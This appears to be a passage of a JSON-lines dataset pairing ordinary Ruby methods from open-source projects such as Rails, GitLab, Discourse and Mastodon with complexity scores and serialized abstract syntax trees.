{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":260,"raw_source":"def migrate(version = nil, skip_initialize: false)\n        scope = ENV[\"SCOPE\"]\n        verbose_was, Migration.verbose = Migration.verbose, verbose?\n\n        check_target_version\n\n        initialize_database(migration_connection_pool.db_config) unless skip_initialize\n\n        migration_connection_pool.migration_context.migrate(target_version) do |migration|\n          if version.blank?\n            scope.blank? || scope == migration.scope\n          else\n            migration.version == version\n          end\n        end.tap do |migrations_ran|\n          Migration.write(\"No migrations ran. (using #{scope} scope)\") if scope.present? && migrations_ran.empty?\n        end\n\n        migration_connection_pool.schema_cache.clear!\n      ensure\n        Migration.verbose = verbose_was\n      end","complexity_score":48.3,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_initialize\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SCOPE\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verbose_was\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"verbose=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"verbose\"]},{\"type\":\"send\",\"children\":[null,\"verbose?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_target_version\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_initialize\"]},null,{\"type\":\"send\",\"children\":[null,\"initialize_database\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_connection_pool\"]},\"db_config\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_connection_pool\"]},\"migration_context\"]},\"migrate\",{\"type\":\"send\",\"children\":[null,\"target_version\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"blank?\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"scope\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"version\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migrations_ran\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrations_ran\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No migrations ran. (using \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"str\",\"children\":[\" scope)\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_connection_pool\"]},\"schema_cache\"]},\"clear!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"verbose=\",{\"type\":\"lvar\",\"children\":[\"verbose_was\"]}]}]}]}","id":"9e6ffb1c-b934-451c-aec4-ce39f3cf2a75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request/commits_metadata.rb","start_line":139,"raw_source":"def self.oldest_merge_request_id_per_commit(project_id, shas)\n    # This method is defined here and not on MergeRequest, otherwise the SHA\n    # values used in the WHERE below won't be encoded correctly.\n    return [] if shas.empty?\n\n    metadata_results = oldest_merge_requests_commits_from_metadata(project_id, shas).to_a\n    found_shas = metadata_results.map(&:sha)\n    missing_shas = shas - found_shas\n\n    # We query the SHA from `merge_request_commits_metadata` table first and\n    # fallback to querying them from `merge_request_diff_commits` if there are no matches\n    # This is needed temporarily while `merge_request_commits_metadata_id` is not fully populated\n    if missing_shas.any?\n      diff_commits_results = MergeRequestDiffCommit.oldest_merge_request_id_per_commit(project_id, missing_shas)\n      metadata_results + diff_commits_results.to_a\n    else\n      metadata_results\n    end\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"oldest_merge_request_id_per_commit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"shas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shas\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"metadata_results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oldest_merge_requests_commits_from_metadata\",{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"shas\"]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"found_shas\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_results\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"missing_shas\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shas\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"found_shas\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_shas\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_commits_results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestDiffCommit\"]},\"oldest_merge_request_id_per_commit\",{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"missing_shas\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_results\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_commits_results\"]},\"to_a\"]}]}]},{\"type\":\"lvar\",\"children\":[\"metadata_results\"]}]}]}]}","id":"945db249-3786-4560-b97f-61180139299b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_supervisor.rb","start_line":823,"raw_source":"def test_log_level_affects\n      sv = Fluent::Supervisor.new({})\n\n      c = Fluent::Config::Element.new('system', '', { 'log_level' => 'error' }, [])\n      stub(Fluent::Config).build { config_element('ROOT', '', {}, [c]) }\n\n      sv.configure\n      assert_equal Fluent::Log::LEVEL_ERROR, $log.level\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_log_level_affects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Supervisor\"]},\"new\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"system\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"log_level\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]}]},\"build\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"ROOT\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sv\"]},\"configure\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"LEVEL_ERROR\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"level\"]}]}]}]}","id":"63322a15-ef9e-404f-bd74-35c1ad97e033"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120518200115_create_read_posts.rb","start_line":4,"raw_source":"def up\n    create_table :read_posts, id: false do |t|\n      t.integer :forum_thread_id, null: false\n      t.integer :user_id, null: false\n      t.column :page, :integer, null: false\n      t.column :seen, :integer, null: false\n    end\n\n    add_index :read_posts, %i[forum_thread_id user_id page], unique: true\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"read_posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"forum_thread_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"seen\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"read_posts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"forum_thread_id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"page\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"8a719f1f-4390-40aa-8c5d-37c32265b19d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests_controller.rb","start_line":216,"raw_source":"def coverage_reports\n    if @merge_request.has_coverage_reports?\n      reports_response(@merge_request.find_coverage_reports)\n    else\n      head :no_content\n    end\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"coverage_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"has_coverage_reports?\"]},{\"type\":\"send\",\"children\":[null,\"reports_response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"find_coverage_reports\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}","id":"90ef0fd3-c291-4aee-b8db-a7a845c72710"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/transfer_service.rb","start_line":139,"raw_source":"def different_root_ancestor?\n      group.root_ancestor != new_parent_group&.root_ancestor\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"different_root_ancestor?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"root_ancestor\"]},\"!=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_parent_group\"]},\"root_ancestor\"]}]}]}","id":"da337423-fda3-4cd7-a0a6-c57ce8237c79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/oauth_application_secret.rb","start_line":6,"raw_source":"def self.prefix?(plaintext)\n        # Extract the token type prefix from both the default and custom prefix formats. We use uniq to handle the case\n        # that the prefix has not been changed and thus prefix_for_oauth_application_secret and\n        # OAUTH_APPLICATION_SECRET_PREFIX_FORMAT are the same\n        prefixes = [\n          ::Gitlab::DoorkeeperSecretStoring::Token::UniqueApplicationToken.prefix_for_oauth_application_secret,\n          ::Gitlab::DoorkeeperSecretStoring::Token::UniqueApplicationToken::OAUTH_APPLICATION_SECRET_PREFIX_FORMAT\n        ].uniq.map { |prefix_format| prefix_format.delete_suffix('-%{token}') }\n\n        plaintext.start_with?(*prefixes)\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prefix?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefixes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"DoorkeeperSecretStoring\"]},\"Token\"]},\"UniqueApplicationToken\"]},\"prefix_for_oauth_application_secret\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"DoorkeeperSecretStoring\"]},\"Token\"]},\"UniqueApplicationToken\"]},\"OAUTH_APPLICATION_SECRET_PREFIX_FORMAT\"]}]},\"uniq\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix_format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix_format\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"-%{token}\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"start_with?\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]}]}]}]}","id":"6f27f1d9-bfd3-41f9-b164-97d45fea4e78"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema.rb","start_line":186,"raw_source":"def self.format_ruby_files(path)\n      glob_pattern = File.join(path, \"*.rb\")\n\n      system(\n        \"bundle\",\n        \"exec\",\n        \"stree\",\n        \"write\",\n        glob_pattern,\n        exception: true,\n        out: File::NULL,\n        err: File::NULL,\n      )\n    rescue StandardError\n      raise \"Failed to run `bundle exec stree write '#{glob_pattern}'`\"\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"format_ruby_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"glob_pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"*.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"str\",\"children\":[\"bundle\"]},{\"type\":\"str\",\"children\":[\"exec\"]},{\"type\":\"str\",\"children\":[\"stree\"]},{\"type\":\"str\",\"children\":[\"write\"]},{\"type\":\"lvar\",\"children\":[\"glob_pattern\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"out\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"NULL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"err\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"NULL\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to run `bundle exec stree write '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glob_pattern\"]}]},{\"type\":\"str\",\"children\":[\"'`\"]}]}]}]},null]}]}","id":"ad094fb7-0272-40f6-b521-a0a71fe72a67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1385,"raw_source":"def enforce_auth_checks_on_uploads?\n    !!project_setting&.enforce_auth_checks_on_uploads?\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce_auth_checks_on_uploads?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_setting\"]},\"enforce_auth_checks_on_uploads?\"]},\"!\"]},\"!\"]}]}","id":"a14e9eee-9aeb-4f5e-9532-d8e92224b00c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1527,"raw_source":"def default_ci_to_hash_struct(ci)\n    attributes = []\n    attributes << :name if ci.respond_to?(:name)\n    build_ci_hash_struct(ci, attributes)\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"default_ci_to_hash_struct\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"name\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"build_ci_hash_struct\",{\"type\":\"lvar\",\"children\":[\"ci\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}","id":"793014c7-4460-434b-be5c-06698f2b9521"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/admin/panel.rb","start_line":40,"raw_source":"def system_hooks?\n        !Gitlab.com? # rubocop:disable Gitlab/AvoidGitlabInstanceChecks -- Not related to SaaS offerings\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"system_hooks?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},\"!\"]}]}","id":"52df8ba3-af9c-462e-9fca-ea051ed18c8f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/schema_dumper.rb","start_line":86,"raw_source":"def formatted_version\n        stringified = @version.to_s\n        return stringified unless stringified.length == 14\n        stringified.insert(4, \"_\").insert(7, \"_\").insert(10, \"_\")\n      end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stringified\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stringified\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[14]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stringified\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stringified\"]},\"insert\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"insert\",{\"type\":\"int\",\"children\":[7]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"insert\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}","id":"448f8180-57d0-45bc-824d-c1ed09236469"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/users/sessions/row_component.rb","start_line":76,"raw_source":"def updated_at\n        if current?\n          I18n.t(\"users.sessions.current\")\n        elsif token?\n          helpers.format_time(record.created_at)\n        else\n          record.respond_to?(:updated_at) ? helpers.format_time(record.updated_at) : \"-\"\n        end\n      end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"users.sessions.current\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"created_at\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"updated_at\"]}]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]}]}","id":"44d4fd41-36e5-4696-901a-d5218aab29ae"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":286,"raw_source":"def test_url_helper_prefixed_with_new\n    with_test_routes do\n      assert_equal \"http://example.com/projects/new\", new_polymorphic_url(@project)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_url_helper_prefixed_with_new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://example.com/projects/new\"]},{\"type\":\"send\",\"children\":[null,\"new_polymorphic_url\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]}","id":"8ed963c8-131f-4596-a643-e547875b5f30"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/app/controllers/patreon/patreon_admin_controller.rb","start_line":67,"raw_source":"def sync_groups\n    begin\n      Patreon::Patron.sync_groups\n      render json: success_json\n    rescue => e\n      render json: { message: e.message }, status: :internal_server_error\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"Patron\"]},\"sync_groups\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"internal_server_error\"]}]}]}]}]},null]}]}]}","id":"ddf6e587-4c88-45c8-87c7-e18faa53ec3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/packages/package_file_uploader.rb","start_line":11,"raw_source":"def filename\n    model.file_name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"file_name\"]}]}","id":"99f489a7-ae10-4a9e-8cf8-a169b87df962"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/status/threading_concern.rb","start_line":106,"raw_source":"def promote_by!(arr)\n    insert_at = arr.find_index { |item| !yield(item) }\n\n    return arr if insert_at.nil?\n\n    arr.each_with_index do |item, index|\n      next if index <= insert_at || !yield(item)\n\n      arr.insert(insert_at, arr.delete_at(index))\n      insert_at += 1\n    end\n\n    arr\n  end","complexity_score":21.25,"ast_json":"{\"type\":\"def\",\"children\":[\"promote_by!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"insert_at\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"find_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]}]},\"!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"insert_at\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"insert_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]}]},\"!\"]}]},{\"